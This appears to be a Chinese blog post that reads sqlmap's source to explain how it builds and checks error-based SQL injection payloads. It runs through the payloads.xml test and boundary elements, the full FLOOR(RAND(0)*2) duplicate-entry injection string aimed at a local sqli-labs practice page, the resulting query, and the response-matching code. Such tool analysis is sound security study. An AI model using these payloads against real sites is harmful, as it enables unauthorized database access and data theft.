目标网址

http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1

Payload的生成

 <test>
<title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>1</level>
<risk>0</risk>
<clause>1</clause>
<where>1</where>
<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
<request>
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0</dbms_version>
</details>
</test>

该test xml元素是从文件payloads.xml提取出来的。

sqlmap会实现读取payloads.xml文件中的test元素,然后循环遍历,并生成相应的payload进行测试。

以上面的test为例,当遍历到该test的时候,在其子循环当中,还需要依次遍历boundary元素(都在payloads.xml文件中),并找到一个匹配的boundary。

何为匹配?

注意上面的test元素的子节点:where=1 和 clause=1

当且仅当某个boundary元素的where节点的值包含test元素的子节点,clause节点的值包含test元素的子节点的时候,该boundary才能和当前的test匹配,从而进一步生成payload。

例如:

 <boundary>
<level>1</level>
<clause>1</clause>
<where>1,2</where>
<ptype>2</ptype>
<prefix>'</prefix>
<suffix>AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary>

该boundary元素中的where节点的值为1,2,含有test元素的where节点的值(1)

并且,boundary元素中的clause节点的值为1,含有test元素的where节点的值(1)

因此,该boundary和test元素可以匹配。

test元素的payload的值为:

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

最终的payload是根据test的payload子节点和boundary的prefix(前缀)、suffix(后缀)子节点的值组合而成的,即:

最终的payload =  url参数 + boundary.prefix+test.payload+boundary.suffix

将其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替换掉之后

则生成的payload类似如下:

Payload: id=1' AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'pujM'='pujM

其中:

  • URL参数:id=1
  • prefix:'
  • payload:AND (SELECT 1497 FROM(SELECT COUNT(*),CONCAT(CHAR(58,101,121,111,58),(SELECT (CASE WHEN (1497=1497) THEN 1 ELSE 0 END)),CHAR(58,97,98,104,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
  • suffix:AND 'pujM'='pujM

最终生成的mysql语句为:

SELECT
*
FROM
users
WHERE
id = ''
AND (
SELECT
1497
FROM
(
SELECT
COUNT(*),
CONCAT(
CHAR (58, 101, 121, 111, 58),
(
SELECT
(
CASE
WHEN (1497 = 1497) THEN
1
ELSE
0
END
)
),
CHAR (58, 97, 98, 104, 58),
FLOOR(RAND(0) * 2)
) x
FROM
information_schema. TABLES
GROUP BY
x
) a
)
AND 'pujM' = 'pujM'

如果,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入的话,那么执行的时候就会报如下错误:

Duplicate entry ':eyo:1:abh:1' for key 'group_key'

源码解释

 1 # In case of error-based SQL injection
2 elif method == PAYLOAD.METHOD.GREP:
3 # Perform the test's request and grep the response
4 # body for the test's <grep> regular expression
5 try:
6 page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
7 output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
8 or extractRegexResult(check, listToStrValue(headers.headers \
9 if headers else None), re.DOTALL | re.IGNORECASE) \
10 or extractRegexResult(check, threadData.lastRedirectMsg[1] \
11 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
12 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
13
14 if output:
15 result = output == "1"
16 if result:
17 infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
18 logger.info(infoMsg)
19
20 injectable = True
21
22 except sqlmapConnectionException, msg:
23 debugMsg = "problem occured most likely because the "
24 debugMsg += "server hasn't recovered as expected from the "
25 debugMsg += "error-based payload used ('%s')" % msg
26 logger.debug(debugMsg)

将最终的payload传递给Request.queryPage函数执行并返回最终的执行结果page

test元素的grep子节点的值是一个正则表达式:<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

由前面的数据,我们知道

[DELIMITER_START]=:eyo:

[DELIMITER_STOP]  =:abh:

则最终生成的正则表达式为::eyo:(?P<result>.*?):abh:(每次生成都是不一样的,因为:eyo:和:abh:都是随机生成的)

将page和正则表达式传递给函数extractRegexResult

 def extractRegexResult(regex, content, flags=0):
"""
Returns 'result' group value from a possible match with regex on a given
content
""" retVal = None if regex and content and '?P<result>' in regex:
match = getCompiledRegex(regex, flags).search(content) if match:
retVal = match.group("result") return retVal

函数功能较简单,主要使用正则表达式判断是否包含指定的数据,如果有,则返回匹配的数据,没有,则返回None。

由前面的内容,可知,如果url可以注入的话,返回值retVal应该等于"1"

if output:
result = output == ""
if result:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg) injectable = True

而使用正则::eyo:(?P<result>.*?):abh:来匹配Duplicate entry ':eyo:1:abh:1' for key 'group_key'的结果为:1

故,url:http://127.0.0.1/shentou/sqli-labs-master/Less-5/?id=1可注入

建议阅读

关于Mysql注入过程中的五种报错方式及具体利用案例

版权

作       者:曾是土木人

新浪微博:http://weibo.com/cstmr

转载请注明出处:http://www.cnblogs.com/hongfei/p/sqlmap-error-based-blind.html

Python:SQLMap源码精读—基于错误的盲注(error-based blind)的更多相关文章

  1. Python:SQLMap源码精读—基于时间的盲注(time-based blind)

    建议阅读 Time-Based Blind SQL Injection Attacks 基于时间的盲注(time-based blind) 测试应用是否存在SQL注入漏洞时,经常发现某一潜在的漏洞难以 ...

  2. Python:Sqlmap源码精读之解析xml

    XML <?xml version="1.0" encoding="UTF-8"?> <root> <!-- MySQL --&g ...

  3. Python:SQLMap源码精读—start函数

    源代码 def start(): """ This function calls a function that performs checks on both URL ...

  4. SQLmap源码分析之框架初始化(一)

    SQLmap是现在搞web人手一个的注入神器,不仅包含了主流数据库的SQL注入检测,而且包含提权以及后渗透模块.基于python2.x开发而成,使用方便.所以研究web安全少不了分析源码,学习代码的同 ...

  5. SQLMAP源码分析(一)

    说起来,学习Python很大一部分原因是由于对WEB安全的兴趣以及对SQLMAP这款工具的好奇,曾经设想学完Python基础就读一读SQLMAP源码,然而懒病一犯,随之就大江东去.近来,又重新燃起了读 ...

  6. sqlmap源码分析(一)

    Sqlmap源码分析(一) 此次分析的sqlmap目标版本为1.6.1.2#dev 只对sqlmap的核心检测代码进行详细分析其他的一带而过 sqlmap.py文件结构 为了不让篇幅过长下面只写出了s ...

  7. 实操重写IK分词器源码,基于mysql热更新词库

    实操重写IK分词器源码,基于mysql热更新词库参考网址:https://blog.csdn.net/wuzhiwei549/article/details/80451302 问题一:按照这篇文章的介 ...

  8. 32.修改IK分词器源码来基于mysql热更新词库

    主要知识点, 修改IK分词器源码来基于mysql热更新词库     一.IK增加新词的原因 在第32小节中学习到了直接在es的词库中增加词语,来扩充自已的词库,但是这样做有以下缺点: (1)每次添加完 ...

  9. 《python解释器源码剖析》第0章--python的架构与编译python

    本系列是以陈儒先生的<python源码剖析>为学习素材,所记录的学习内容.不同的是陈儒先生的<python源码剖析>所剖析的是python2.5,本系列对应的是python3. ...

随机推荐

  1. 深度学习项目——基于卷积神经网络(CNN)的人脸在线识别系统

    基于卷积神经网络(CNN)的人脸在线识别系统 本设计研究人脸识别技术,基于卷积神经网络构建了一套人脸在线检测识别系统,系统将由以下几个部分构成: 制作人脸数据集.CNN神经网络模型训练.人脸检测.人脸 ...

  2. redis、mysql、mongdb的比较

    特点: 1-1 MySQL:1. 使用c和c++编写,并使用了多种编译器进行测试,保证源代码的可移植性2. 支持多种操作系统3. 为多种编程语言提供可API4. 支持多线程,充分利用CPU资源优化的S ...

  3. 【转】Appium 优化版

    Appium 开源分享优化版 之前分享过PageObject+Python+Appium 本版本是对上次版本较大改版,主要解决了: 失败重连一次(默认一次)可配置多次 基于appium1.7.1 ui ...

  4. ATM取款机数据库设计

    创建文件夹    USE master GO EXEC xp_cmdshell 'mkdir d:\bank', NO_OUTPUT 建库   --检验数据库是否存在,如果为真,删除此数据库--   ...

  5. c#: WebBrowser控件html代码注入及交互

    主题仍是下载相关. 页面加载完成后,注入html元素,以使能够与主程序交互.并使WebBrowser与js交互,可以实现一些有趣的功能. 欲使WebBrowser与js交互,其所在页面类,须加上[Co ...

  6. [leetcode]21. Merge Two Sorted Lists合并两个链表

    Merge two sorted linked lists and return it as a new list. The new list should be made by splicing t ...

  7. Js学习(3) 数组

    数组本质: 本质上数组是特殊的对象,因此,数组中可以放入任何类型的数据,对象,数组,函数都行 它的特殊性在于键名是按次序排列好的整数 从0开始,是固定的,不用指定键名 如果数组中的元素仍是数组,则为多 ...

  8. est-framework框架的基本组件

    rest-framework框架的基本组件   快速实例 Quickstart 序列化 创建一个序列化类 简单使用 开发我们的Web API的第一件事是为我们的Web API提供一种将代码片段实例序列 ...

  9. Django 跨域请求 解决 axios 未完待续

    import django import os # os.environ.setdefault("DJANGO_SETTINGS_MODULE", "untitled5. ...

  10. Netty学习路线总结

    序 之前开过品味性能系列.Mysql学习系列,颇为曲高和寡.都是讲理论,很少有手把手深入浅出的文章.不过确实我就这脾气,文雅点的说法叫做"伪雅",下里巴人叫做"装逼&qu ...